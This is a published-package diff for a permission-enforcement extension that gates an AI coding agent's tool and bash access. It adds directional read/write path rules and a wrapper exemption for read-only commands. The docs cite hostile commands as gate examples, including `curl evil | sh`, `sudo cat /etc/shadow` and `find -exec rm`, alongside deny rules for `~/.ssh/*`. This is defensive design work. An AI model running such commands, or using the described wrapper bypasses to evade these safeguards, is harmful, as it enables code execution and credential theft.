@gotgenes/pi-permission-system 27.0.0 → 27.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (38) hide show
  1. package/CHANGELOG.md +36 -0
  2. package/README.md +26 -6
  3. package/config/config.example.json +3 -1
  4. package/dist/public.d.ts +21 -1
  5. package/docs/configuration.md +184 -5
  6. package/docs/troubleshooting.md +4 -1
  7. package/package.json +3 -1
  8. package/schemas/permissions.schema.json +52 -4
  9. package/src/access-intent/bash/bash-path-resolver.ts +104 -34
  10. package/src/access-intent/bash/command-effects.ts +305 -0
  11. package/src/access-intent/bash/command-enumeration.ts +116 -40
  12. package/src/access-intent/bash/program.ts +15 -11
  13. package/src/access-intent/bash/redirect-analysis.ts +98 -0
  14. package/src/access-intent/bash/token-collection.ts +102 -22
  15. package/src/access-intent/bash/wrapper-analysis.ts +101 -11
  16. package/src/access-intent/effect.ts +56 -0
  17. package/src/access-intent/input-normalizer.ts +2 -2
  18. package/src/access-intent/path-surfaces.ts +110 -4
  19. package/src/authority/delegation-envelope.ts +18 -7
  20. package/src/config-schema.ts +95 -6
  21. package/src/handlers/gates/bash-command.ts +53 -17
  22. package/src/handlers/gates/bash-external-directory.ts +41 -8
  23. package/src/handlers/gates/bash-path-extractor.ts +3 -3
  24. package/src/handlers/gates/bash-path.ts +31 -13
  25. package/src/handlers/gates/external-directory-policy.ts +37 -13
  26. package/src/handlers/gates/external-directory.ts +11 -4
  27. package/src/handlers/gates/path.ts +12 -5
  28. package/src/handlers/gates/tool.ts +22 -0
  29. package/src/normalize.ts +70 -1
  30. package/src/permission-manager.ts +3 -2
  31. package/src/permission-resolver.ts +23 -4
  32. package/src/presentation/path-ask-payload.ts +17 -6
  33. package/src/restrictiveness.ts +48 -0
  34. package/src/rule.ts +13 -13
  35. package/src/scope-merge.ts +8 -2
  36. package/src/session-rules.ts +19 -8
  37. package/src/types.ts +22 -1
  38. package/src/handlers/gates/candidate-check.ts +0 -32
package/CHANGELOG.md CHANGED
@@ -5,6 +5,42 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [27.1.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v27.0.1...pi-permission-system-v27.1.0) (2026-08-27)
9
+
10
+
11
+ ### Features
12
+
13
+ * **pi-permission-system:** add the read/write capability axis to the path surfaces ([#806](https://github.com/gotgenes/pi-packages/issues/806)) ([77d1916](https://github.com/gotgenes/pi-packages/commit/77d191645e60d4bd42981e8b6080332eaac9bb70))
14
+ * **pi-permission-system:** name and validate the directional keys in the config schema ([2893277](https://github.com/gotgenes/pi-packages/commit/2893277a3481a13eda2dfcd50811f431d459bb5f)), closes [#806](https://github.com/gotgenes/pi-packages/issues/806)
15
+ * **pi-permission-system:** record the wrapper floor exemption in the review log ([0f8f482](https://github.com/gotgenes/pi-packages/commit/0f8f4821879f45c67b16f14136ec203efa6286fa)), closes [#803](https://github.com/gotgenes/pi-packages/issues/803)
16
+ * **pi-permission-system:** route a direction-proven tool access to its directional surface ([2204cd8](https://github.com/gotgenes/pi-packages/commit/2204cd833c77d249ede41410631ad160518b122c)), closes [#806](https://github.com/gotgenes/pi-packages/issues/806)
17
+ * **pi-permission-system:** route a proven bash external path to its directional surface ([#807](https://github.com/gotgenes/pi-packages/issues/807)) ([504cfcc](https://github.com/gotgenes/pi-packages/commit/504cfcc44fb1d54f6eebdad22e4a775b6a462ee4))
18
+ * **pi-permission-system:** route a proven bash path token to its directional surface ([9140c24](https://github.com/gotgenes/pi-packages/commit/9140c245c5b4dcd41a5870381e6478ba9c266b00)), closes [#807](https://github.com/gotgenes/pi-packages/issues/807)
19
+
20
+
21
+ ### Bug Fixes
22
+
23
+ * **pi-permission-system:** close two fail-opens in the pure-reader core ([50b4210](https://github.com/gotgenes/pi-packages/commit/50b421019d6116a9c0df0ee9b3f0a85738c27882)), closes [#807](https://github.com/gotgenes/pi-packages/issues/807)
24
+ * **pi-permission-system:** stop flooring wrappers that run a proven pure reader ([#803](https://github.com/gotgenes/pi-packages/issues/803)) ([1a4805f](https://github.com/gotgenes/pi-packages/commit/1a4805f89133c4048d6af7e1851bc73122dca277))
25
+ * **pi-permission-system:** withhold the wrapper exemption for an unresolvable redirect ([0e1ed35](https://github.com/gotgenes/pi-packages/commit/0e1ed359e561f7236b00b5dc9a0a319ea762b1c7))
26
+
27
+
28
+ ### Documentation
29
+
30
+ * **pi-permission-system:** commit the wrapper-transparency measurement instrument ([cb14723](https://github.com/gotgenes/pi-packages/commit/cb14723008ed39ec61d76715a9628dfa0a3e27fa)), closes [#803](https://github.com/gotgenes/pi-packages/issues/803)
31
+ * **pi-permission-system:** document bash effect attribution and the pure-reader core ([2a8e77b](https://github.com/gotgenes/pi-packages/commit/2a8e77b38fffb69cbdee355bc21eb580a66684f4)), closes [#807](https://github.com/gotgenes/pi-packages/issues/807)
32
+ * **pi-permission-system:** document the directional path surfaces ([#806](https://github.com/gotgenes/pi-packages/issues/806)) ([a75f055](https://github.com/gotgenes/pi-packages/commit/a75f0552dbd07afdabeb5b0e9b9ac7699121141a))
33
+ * **pi-permission-system:** document wrapper transparency and mark Phase 14 Step 3 complete ([bfb67bb](https://github.com/gotgenes/pi-packages/commit/bfb67bbb2ca44592d99f91deb9cd80f65e60afd3)), closes [#803](https://github.com/gotgenes/pi-packages/issues/803)
34
+ * **pi-permission-system:** resolve pre-completion review warnings ([8484bd3](https://github.com/gotgenes/pi-packages/commit/8484bd391e41b309cdb17e52df6525a39d7bc71c)), closes [#803](https://github.com/gotgenes/pi-packages/issues/803)
35
+ * **pi-permission-system:** spell directional examples with a single wildcard ([135ae12](https://github.com/gotgenes/pi-packages/commit/135ae12293091d97af25d32a920481dd8d524626)), closes [#806](https://github.com/gotgenes/pi-packages/issues/806)
36
+
37
+ ## [27.0.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v27.0.0...pi-permission-system-v27.0.1) (2026-08-24)
38
+
39
+
40
+ ### Documentation
41
+
42
+ * **pi-permission-system:** reconcile architecture with ADR 0013 ([#639](https://github.com/gotgenes/pi-packages/issues/639)) ([8a899da](https://github.com/gotgenes/pi-packages/commit/8a899da1884b8c4657e689ab2d4c86406eaa1add))
43
+
8
44
  ## [27.0.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v26.3.1...pi-permission-system-v27.0.0) (2026-08-21)
9
45
 
10
46
 
package/README.md CHANGED
@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
19
19
  - **Gates MCP and skill access** at server, tool, and skill-name granularity
20
20
  - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
21
21
  - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
22
- - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently
22
+ - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
23
23
  - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
24
24
  - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI, and every prompt it announces — including one forwarded up from a subagent — is answered by a `permissions:decision` on the same bus
25
25
  - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration
@@ -98,6 +98,24 @@ Four layers compose with most-restrictive-wins: `path` (cross-cutting) → `exte
98
98
  Because `ask` is more restrictive than `allow`, a `path` allow cannot loosen an `external_directory: ask` boundary — allow outside-CWD directories on `external_directory`.
99
99
  See [docs/configuration.md](docs/configuration.md) for the full recipe.
100
100
 
101
+ Both path surfaces also carry a **direction**, so you can permit reading somewhere without permitting writing there: `path_read`, `path_write`, `external_directory_read`, and `external_directory_write`.
102
+ A bare `path` or `external_directory` key is sugar that expands into both of its directional keys, so every existing config keeps its exact meaning and remains the right spelling whenever direction does not matter.
103
+
104
+ ```jsonc
105
+ {
106
+ "permission": {
107
+ "external_directory": { "*": "ask" },
108
+ "external_directory_read": { "~/dev/*": "allow" }
109
+ }
110
+ }
111
+ ```
112
+
113
+ Here a `read` under `~/dev` is silent while a `write` or `edit` to the same path still prompts.
114
+ The useful grants are `*_read: allow` and the bare key; `*_write` earns its keep as a restriction (`path_write: { "*": "deny" }` is a read-only-agent posture) — see [docs/configuration.md](docs/configuration.md#directional-path-surfaces).
115
+
116
+ A read grant reaches bash commands too, not just the file tools: a redirect operator proves its destination's direction (`> out.txt` writes, `< in.txt` reads), and a frozen set of read-only command words — `cat`, `grep`, `ls`, `find`, and 17 others — proves a read for the paths they name.
117
+ A token nothing proves still consults both directions, so an unrecognized command is never treated as the safer one.
118
+
101
119
  ## Configuration
102
120
 
103
121
  Config lives in one JSON file per scope:
@@ -115,7 +133,7 @@ Within a surface map like `bash` or `mcp`, **last matching rule wins** — put b
115
133
  The optional `shellTools` field records which non-`bash` tools carry shell semantics (e.g. an `exec_command` tool that replaces native `bash`), so they are gated at full parity with native `bash` — see [docs/configuration.md](docs/configuration.md#shelltools--gating-aliased-shell-tools).
116
134
 
117
135
  The optional `authorizerChain` field names registered case-by-case decision links (e.g. a light model judge) to consult when a request lands on `ask`, ahead of the interactive prompt.
118
- A downstream extension registers a link via `getPermissionsService(sessionId).registerAuthorizer(name, authorize)`; it decides nothing until you name it here (opt-in), config order fixes the chain order, and the chain owner caps any link's `allow` on `external_directory`/`path` to keep it within your policy — see [docs/configuration.md](docs/configuration.md#authorizer-chain--case-by-case-decision-links).
136
+ A downstream extension registers a link via `getPermissionsService(sessionId).registerAuthorizer(name, authorize)`; it decides nothing until you name it here (opt-in), config order fixes the chain order, and the chain owner caps any link's `allow` on the `external_directory`/`path` surface families to keep it within your policy — see [docs/configuration.md](docs/configuration.md#authorizer-chain--case-by-case-decision-links).
119
137
  A subagent's ask is reviewed by the chain of the session serving it, one hop up, rather than inside the subagent — see the same section.
120
138
  [`@gotgenes/pi-permission-model-judge`](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-model-judge) is a first-party reference implementation of such a link — a deny-first reviewer that auto-denies mistyped out-of-directory paths.
121
139
 
@@ -148,8 +166,9 @@ Hardening the gates against bypass, fail-closed corrections (breaking ones inclu
148
166
 
149
167
  **Non-goals.**
150
168
 
151
- - _Sandboxing._
152
- This is a decision layer, not a sandbox — it decides and records, it does not isolate.
169
+ - _Implementing isolation._
170
+ This is a decision layer — it decides and records; a sandbox contains.
171
+ The two are complementary: a sandbox settles which paths are in scope and in which direction, and this package decides whether a particular action on an in-scope path may proceed.
153
172
  If a dangerous action is reachable through an allowed tool, policy has to restrict it explicitly.
154
173
  - _Deciding project trust._
155
174
  A policy enforcer, not a trust oracle: whether a project is trusted is Pi's decision and yours, and this package observes it.
@@ -164,11 +183,12 @@ Hardening the gates against bypass, fail-closed corrections (breaking ones inclu
164
183
  The [architecture doc](https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/architecture/architecture.md#scope-and-non-goals) carries the full inventory, with the decision record behind each entry.
165
184
 
166
185
  **One decision is still open.**
167
- How policy may _enter_ the system — which channels are admissible, and with what precedence — is being worked out in [issue #639](https://github.com/gotgenes/pi-packages/issues/639), along with whether a capability model replaces the current surface list.
186
+ How policy may _enter_ the system — which channels are admissible, and with what precedence — is being worked out in [issue #799](https://github.com/gotgenes/pi-packages/issues/799).
168
187
  Several requested widenings are parked on it rather than declined, durable persistence of an approval among them.
188
+ The companion question — whether a capability model replaces the actor-keyed surface list — is settled: [ADR 0013](https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/decisions/0013-permission-policy-model.md) adds read/write as an axis beside the existing keys, so a policy can permit reading a path without also permitting writes to it.
169
189
 
170
190
  **Where adjacent requests belong.**
171
- True isolation of a permitted action → an agent sandbox.
191
+ True isolation of a permitted action → an agent sandbox, which this package's scope decisions are exported to rather than duplicated in.
172
192
  Model-assisted judging of an `ask` → a chain link over the authorizer seam; [@gotgenes/pi-permission-model-judge](https://www.npmjs.com/package/@gotgenes/pi-permission-model-judge) is the first-party one, and judges mistyped paths.
173
193
  Approve-and-steer, edit diffs, and risk explanations → a downstream package over the `permissions:decision` event and the presentation seams.
174
194
 
@@ -45,6 +45,8 @@
45
45
  "*": "ask",
46
46
  "~/development/*": "allow",
47
47
  "~/.cargo/registry/*": "allow"
48
- }
48
+ },
49
+ "external_directory_read": { "~/dev/*": "allow" },
50
+ "path_write": { "~/.ssh/*": "deny" }
49
51
  }
50
52
  }
package/dist/public.d.ts CHANGED
@@ -22,6 +22,19 @@ type RuleOrigin = "global" | "project" | "agent" | "project-agent" | "builtin" |
22
22
  * Absent for current-shell (top-level) commands.
23
23
  */
24
24
  type BashCommandContext = "command_substitution" | "process_substitution" | "subshell";
25
+ /**
26
+ * Why an indirection wrapper's floor did not apply after all (#803).
27
+ *
28
+ * `"core-reader"` — the command the wrapper runs is in the built-in pure-reader
29
+ * core, so it is read-only for any argument feed and the floor's reason (an
30
+ * unknown direction behind the wrapper) does not hold.
31
+ *
32
+ * A named reason rather than a boolean, so the review log states *why* a
33
+ * wrapper was let through, and so a later source (a chain verdict, a user
34
+ * declaration) is an added member rather than a second flag. ADR 0013 §11
35
+ * keeps v1 at the audited core alone.
36
+ */
37
+ type FloorExemption = "core-reader";
25
38
  interface PermissionCheckResult {
26
39
  toolName: string;
27
40
  state: PermissionState;
@@ -42,9 +55,16 @@ interface PermissionCheckResult {
42
55
  /**
43
56
  * The command the winning bash unit actually runs, when it is a wrapper whose
44
57
  * inner command differs from the unit text (#713). Display-only: the gate
45
- * still decides on `command`, so this never widens or narrows a decision.
58
+ * decides on `command`, and on `executedUnit`'s rules only when
59
+ * {@link floorExemption} says the inner command is a proven pure reader.
46
60
  */
47
61
  executedUnit?: string;
62
+ /**
63
+ * Set when the winning bash unit is a wrapper the floor no longer covers,
64
+ * naming why (#803). Recorded in the review log so an allow the floor would
65
+ * once have prompted for is auditable to the reason that let it through.
66
+ */
67
+ floorExemption?: FloorExemption;
48
68
  }
49
69
 
50
70
  /**
@@ -227,7 +227,7 @@ Three invariants govern the chain:
227
227
  3. **Registration alone grants no authority.**
228
228
  Installing a judge extension gives it nothing; a link decides nothing until you name it here (opt-in activation).
229
229
 
230
- The chain owner caps every link with a **bounded-delegation checkpoint**: a link's `allow` on an excluded surface (`external_directory` or the `path` surface) is downgraded to `defer`, so a buggy or over-eager judge can never approve access outside your policy.
230
+ The chain owner caps every link with a **bounded-delegation checkpoint**: a link's `allow` on an excluded surface *family* (`external_directory` or `path`, including each family's directional members) is downgraded to `defer`, so a buggy or over-eager judge can never approve access outside your policy.
231
231
  Deny and defer are never capped.
232
232
  The excluded surface is the **gate** surface the rule fired on, not the tool name displayed in the prompt — so a `write` blocked by a `path` rule is capped.
233
233
  This holds for an ask forwarded up from a subagent exactly as it does for a local one.
@@ -426,7 +426,8 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
426
426
  So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
427
427
  - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
428
428
  So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
429
- As with the opaque floor, no rule can auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
429
+ An `allow` is clamped to `ask`, and an explicit `deny` still denies.
430
+ The one exception is a wrapper running a [pure-reader command](#wrapper-transparency), whose direction is provable however unknown its argument feed is.
430
431
 
431
432
  Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
432
433
  An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
@@ -698,6 +699,182 @@ The `external_directory` and `path` gates interpret bash tokens accordingly (too
698
699
 
699
700
  To allow-list such a path, write the rule using the path as typed — for example `external_directory: { "/tmp/*": "allow" }` — and the Windows separator folding above makes the forward-slash rule match the Git Bash token.
700
701
 
702
+ ### Directional Path Surfaces
703
+
704
+ The `path` and `external_directory` surfaces each carry a **direction**, so a policy can permit reading somewhere without permitting writing there.
705
+ Four keys express it:
706
+
707
+ | Key | Governs |
708
+ | -------------------------- | ------------------------------------------------------------ |
709
+ | `path_read` | Reading a file, by path pattern, across all path-aware tools |
710
+ | `path_write` | Writing a file, by path pattern, across all path-aware tools |
711
+ | `external_directory_read` | Reading a path outside the working directory |
712
+ | `external_directory_write` | Writing to a path outside the working directory |
713
+
714
+ The two directions are **independent**, not tiers.
715
+ An `allow` on `path_write` does not grant reading, and a `deny` on `path_read` does not restrict writing.
716
+ Each direction is decided on its own surface and composed with the others by the usual most-restrictive-wins rule.
717
+
718
+ #### Bare `path` and `external_directory` are sugar
719
+
720
+ A bare key expands at load into both of its directional keys.
721
+ These two configs mean exactly the same thing:
722
+
723
+ ```jsonc
724
+ { "permission": { "path": { "*": "ask", "~/.ssh/*": "deny" } } }
725
+ ```
726
+
727
+ ```jsonc
728
+ {
729
+ "permission": {
730
+ "path_read": { "*": "ask", "~/.ssh/*": "deny" },
731
+ "path_write": { "*": "ask", "~/.ssh/*": "deny" }
732
+ }
733
+ }
734
+ ```
735
+
736
+ So every config written before this feature existed keeps its exact meaning, and nothing prompts differently on upgrade.
737
+ Bare `path` remains valid and idiomatic indefinitely — it is the right spelling whenever direction does not matter, which is most of the time.
738
+
739
+ When a bare key and a directional key are both present, the **sugar-derived entries come first and the explicit directional entries append after them**, whatever order the keys appear in the file.
740
+ Since rules are last-match-wins, the explicit entry always has the final say, and a config and its key-order-swapped twin mean the same thing.
741
+
742
+ #### Which direction is a given access?
743
+
744
+ A tool's identity establishes its direction, and on the bash surface a redirect operator or a known read-only command word can establish it too:
745
+
746
+ | Access | Consults |
747
+ | -------------------------------------------------------------------------- | ------------------------- |
748
+ | `read`, `grep`, `find`, `ls` | the `_read` surface only |
749
+ | `write` | the `_write` surface only |
750
+ | `edit` | both, most-restrictive |
751
+ | An MCP tool or extension tool | both, most-restrictive |
752
+ | A bash output redirect destination (`>`, `>>`, `>\|`, `&>`) | the `_write` surface only |
753
+ | A bash input redirect destination (`<`, `<<<`) | the `_read` surface only |
754
+ | An argument of a [pure-reader core](#the-pure-reader-command-core) command | the `_read` surface only |
755
+ | Any other bash path token | both, most-restrictive |
756
+
757
+ An access whose direction cannot be established consults **both** surfaces and takes the more restrictive answer.
758
+ That is deliberate: an unproven access is never treated as the narrower one.
759
+
760
+ Attribution is per **token**, not per command, so one invocation can do both: in `cat notes.md > /backup/notes.md`, `notes.md` is a read and `/backup/notes.md` is a write.
761
+ A redirect operator's proof is absolute — it overrides whatever the command in front of it proved, because `> out.txt` writes `out.txt` however read-only that command is.
762
+ When the same path is reached twice with disagreeing directions (`cat a.txt > a.txt`), the two fold to unproven, which consults both surfaces.
763
+
764
+ #### The pure-reader command core
765
+
766
+ A small, frozen set of command words is read-only for any arguments, in any implementation.
767
+ A path token owned by one of them consults the `_read` surface alone:
768
+
769
+ <!-- BEGIN PURE_READER_CORE -->
770
+
771
+ `basename`, `cat`, `cd`, `diff`, `dirname`, `echo`, `egrep`, `fd`, `fgrep`, `find`, `grep`, `head`, `ls`, `pwd`, `realpath`, `rg`, `sort`, `stat`, `tail`, `wc`, `which`
772
+
773
+ <!-- END PURE_READER_CORE -->
774
+
775
+ The bar for admission is structural, not popularity: implementation-independent read-only-ness across GNU and BSD alike, no option that redirects output to a file, and effects that do not depend on argument content.
776
+ `awk` and `sed` are excluded because their program text and `-i` flag can write; `uniq`, `tee`, `dd`, and `split` each have a positional or option that writes a file; `file` is excluded because `-C`/`--compile` writes a `magic.mgc` file; `less` and `more` can escape to a shell; `git`, `pnpm`, and `node` are subcommand-dependent.
777
+
778
+ Three members are read-only **until an argument says otherwise**, and naming one of these options withdraws the claim — the token falls back to consulting both surfaces:
779
+
780
+ | Command | Withdrawn by |
781
+ | ------- | ------------------------------------------------------------------------------------------- |
782
+ | `find` | `-exec`, `-execdir`, `-ok`, `-okdir`, `-delete`, `-fprint`, `-fprint0`, `-fprintf`, `-fls` |
783
+ | `fd` | `-x`, `-X`, `--exec`, `--exec-batch` |
784
+ | `sort` | `-o`, `--output` |
785
+
786
+ A long option is matched by any unambiguous abbreviation too (`sort --out=…` withdraws the claim exactly as `--output` does), and a short letter is matched anywhere in a cluster (`-uo`) or with its value attached (`-o/tmp/x`).
787
+
788
+ A core word counts only as a **bare basename**.
789
+ `./grep`, `/usr/bin/grep`, and `bin\grep` name programs this audit never saw, so they prove nothing and consult both surfaces.
790
+
791
+ The core cannot be extended or removed from configuration.
792
+ If you do not trust a member of it, deny or ask on the paths themselves — an effect proof only chooses which surface answers, and never overrides the answer.
793
+
794
+ #### Wrapper transparency
795
+
796
+ The [indirection-wrapper floor](#fail-closed-behavior) exists because a wrapper hides the command that should be gated.
797
+ For one class the hiding is immaterial: a pure-reader command is read-only for **any** arguments, so `xargs grep -l foo` is provably a read even though what `xargs` feeds it is unknowable.
798
+ The floor guards unknowability of *scope*, and scope stays the path surfaces' job — for a wrapped command exactly as for a bare one.
799
+
800
+ Such a unit is therefore **not** floored.
801
+ It resolves by the inner command's own `bash` rules instead, and the review log records `floorExemption: "core-reader"` beside the rule that decided, so an allow the floor would once have prompted for is auditable to the reason that let it through.
802
+
803
+ All four of these must hold, and each is a way the floor's reason could still apply:
804
+
805
+ 1. The unit is an indirection wrapper.
806
+ An `sh -c`/`eval` payload is not one — see below.
807
+ 2. The command it runs can be established without passing through an inline shell.
808
+ 3. That command **proves** a read: a bare-basename core word with no option that withdraws the claim.
809
+ So `xargs sort -o /tmp/x` and `xargs find . -delete` stay floored, and so does `xargs ./grep foo`.
810
+ 4. The enclosing statement provably writes no file through a redirect.
811
+ A destination the parse cannot resolve — `> $OUT`, `> $(mktemp)` — counts against the exemption rather than for it.
812
+
813
+ So `xargs grep -l foo`, `xargs wc -l`, and `find . -name '*.ts' -exec cat {} +` stop prompting under a matching `bash` allow, while `xargs rm`, `xargs sed -i`, `time pnpm test`, and `find . -exec sh -c '…' \;` still prompt.
814
+
815
+ Three things this does **not** change:
816
+
817
+ - An explicit `deny` or `ask` on the wrapper is never weakened.
818
+ Only a unit whose own text already resolved to `allow` is affected, so `bash: {"xargs *": "ask"}` still asks.
819
+ - A `deny` on the inner command now reaches the wrapper.
820
+ Under `bash: {"*": "allow", "grep *": "deny"}`, `xargs grep foo` is denied rather than merely prompted.
821
+ - Path gating is untouched.
822
+ The exemption decides the `bash` surface only, and every path token the command projects still goes through `path` and `external_directory` with the direction its command proved.
823
+ Clause 4 is what keeps that from being a weaker promise than it sounds: a redirect destination the parse cannot resolve (`> $OUT`, `> $(mktemp)`) is not projected onto those surfaces either, so the wrapper keeps its floor rather than relying on a gate that would not see the write.
824
+
825
+ A user `commandEffects` declaration participates in effect classification but does **not** lift the floor.
826
+ The core's argument-independence is audited here; a claim about a wrapped command is not, and a wrong claim behind a wrapper fails open.
827
+
828
+ `sudo` and `doas` are ordinary wrappers to this rule.
829
+ The path surfaces gate `sudo cat /etc/shadow` exactly as they gate `cat /etc/shadow`, so nothing about the *file set* changes — what `sudo` adds is that the operating system would have refused, which this extension has never modelled.
830
+ If you run a permissive `bash` policy and want privilege elevation to prompt regardless, say so directly:
831
+
832
+ ```jsonc
833
+ {
834
+ "permission": {
835
+ "bash": {
836
+ "*": "allow",
837
+ "sudo *": "ask",
838
+ "doas *": "ask"
839
+ }
840
+ }
841
+ }
842
+ ```
843
+
844
+ That rule matches the wrapper's own text, so it is decided before the exemption is ever consulted.
845
+
846
+ #### Which key to actually write
847
+
848
+ The useful *grants* are `*_read: allow` and the bare sugar key.
849
+
850
+ ```jsonc
851
+ {
852
+ "permission": {
853
+ "external_directory": { "*": "ask" },
854
+ "external_directory_read": { "~/dev/*": "allow" }
855
+ }
856
+ }
857
+ ```
858
+
859
+ A `read` of `~/dev/x` is silent; a `write` or `edit` of the same path still prompts.
860
+ Granting an external root takes one line in one surface — no parallel `path_read` entry is needed, because the `path` family only speaks when one of its own patterns matches.
861
+
862
+ `*_write` earns its keep as a **restriction** far more than as a grant.
863
+ `path_write: { "*": "deny" }` is a coherent read-only-agent posture.
864
+
865
+ A `*_write: allow` on its own does not silence an `edit`, which also reads — grant the read direction too, or use the bare key.
866
+
867
+ A key that looks directional but is misspelled (`path_wrote`, `external_directory_reed`) is rejected when the config loads, rather than sitting inert.
868
+ That matters most for a restriction: a misspelled *grant* merely produces more prompts, but a misspelled *deny* would enforce nothing at all.
869
+
870
+ #### What you will see change
871
+
872
+ Prompts, the review log, and the `permissions:decision` event now name the directional surface that decided — `path_read` rather than `path` — when the tool's identity proved a direction.
873
+ `/permission-system show` likewise lists the expanded directional rules for a config written with a bare key, so the display matches what is enforced.
874
+
875
+ One cross-version note for subagent permission forwarding: a child running a newer version sends a directional surface to a parent running an older one, which has no such rules and falls back to its default — more prompting, never less.
876
+ Upgrade the parent session to match.
877
+
701
878
  ### Home Directory Expansion in Patterns
702
879
 
703
880
  Pattern keys in any permission surface can start with `~/`, `$HOME/`, or `${HOME}/` (or be exactly `~`, `$HOME`, or `${HOME}`).
@@ -903,12 +1080,14 @@ Four existing behaviors keep this allowlist safe — you do not have to enumerat
903
1080
  That is why this recipe ships with `write` and `edit` denied and a `path` deny block for sensitive files.
904
1081
  Keep the `path` surface locked down for anything you would not want an allowed read command to overwrite via `>`.
905
1082
  2. **`find`/`fd` with an exec flag are floored to `ask`.**
906
- A bare `find *` search is read-only, so it is safe to allow; the moment an exec flag appears (`find -exec`/`-execdir`/`-ok`/`-okdir`, `fd -x`/`-X`), the [indirection-wrapper floor](#fail-closed-behavior) clamps the decision back to `ask`.
907
- So `find . -type f -exec rm {} +` still prompts even under `find *: allow`.
1083
+ A bare `find *` search is read-only, so it is safe to allow; the moment an exec flag appears (`find -exec`/`-execdir`/`-ok`/`-okdir`, `fd -x`/`-X`), the [indirection-wrapper floor](#fail-closed-behavior) clamps the decision back to `ask` — unless the command it runs is itself a pure reader ([wrapper transparency](#wrapper-transparency)), in which case that command's own rule decides.
1084
+ So `find . -type f -exec rm {} +` still prompts even under `find *: allow`, while `find . -type f -exec cat {} +` is decided by the `cat *` rule this recipe already grants.
1085
+ The same options — plus `find -delete`/`-fprint`/`-fprint0`/`-fprintf`/`-fls` and `fd --exec`/`--exec-batch` — also withdraw the [pure-reader claim](#the-pure-reader-command-core) on that command's path tokens, so they stop resolving on the `_read` surface alone.
908
1086
  3. **Chained commands resolve most-restrictive.**
909
1087
  `find . -name '*.log' && rm -f found.log` decomposes into `find …` and `rm …`; `rm` matches only `"*": "ask"`, and the most restrictive result governs the whole invocation, so the chain prompts.
910
1088
  4. **Wrappers cannot ride the allowlist.**
911
- `sudo grep …`, `env X=1 cat …`, `sh -c "…"`, and `eval "…"` are floored to `ask` (the [wrapper floors](#fail-closed-behavior)), so an allowed command cannot be smuggled past through a wrapper.
1089
+ `sudo aws …`, `env X=1 npm …`, `sh -c "…"`, and `eval "…"` are floored to `ask` (the [wrapper floors](#fail-closed-behavior)), so a command this recipe does not allow cannot be smuggled past through a wrapper.
1090
+ The wrapper text is what a rule matches, so `sudo grep foo` matches only `"*": "ask"` here and prompts on that rule rather than on the floor — add `"sudo *": "ask"` if you want that stated in the config rather than inherited from the fallback.
912
1091
 
913
1092
  `git` is enumerated by read subcommand rather than a broad `git *`, because `git` has mutating subcommands (`commit`, `push`, `branch -D`, `remote add`, `config <key> <value>`).
914
1093
  Exact patterns like `git status` and `git branch` match only their literal form, so `git branch -D feature` falls through to `"*": "ask"`.
@@ -50,10 +50,13 @@ This makes it easy to verify which files the extension actually loaded:
50
50
  **Limitations:**
51
51
 
52
52
  - If a dangerous action is possible via an allowed tool, policy must explicitly restrict it
53
- - This is a permission decision layer, not a sandbox — for true isolation see [Agent Sandboxes](https://engine.build/lab/agent-sandboxes)
53
+ - This is a permission decision layer, not a sandbox — for true isolation see [Agent Sandboxes](https://engine.build/lab/agent-sandboxes).
54
+ The two are complementary rather than alternatives: a sandbox enforces which paths are in scope and in which direction, while this package decides whether a particular action on an in-scope path may proceed.
55
+ [ADR 0013] §8 records that division and the seam that exports this package's scope decisions to a sandbox launcher.
54
56
  - The review log records bash command strings unredacted.
55
57
  Log files are created owner-only (`0600`), and values bound to a sensitive key name (`authorization`, `token`, `password`, …) are masked — but a secret embedded in a command string is not.
56
58
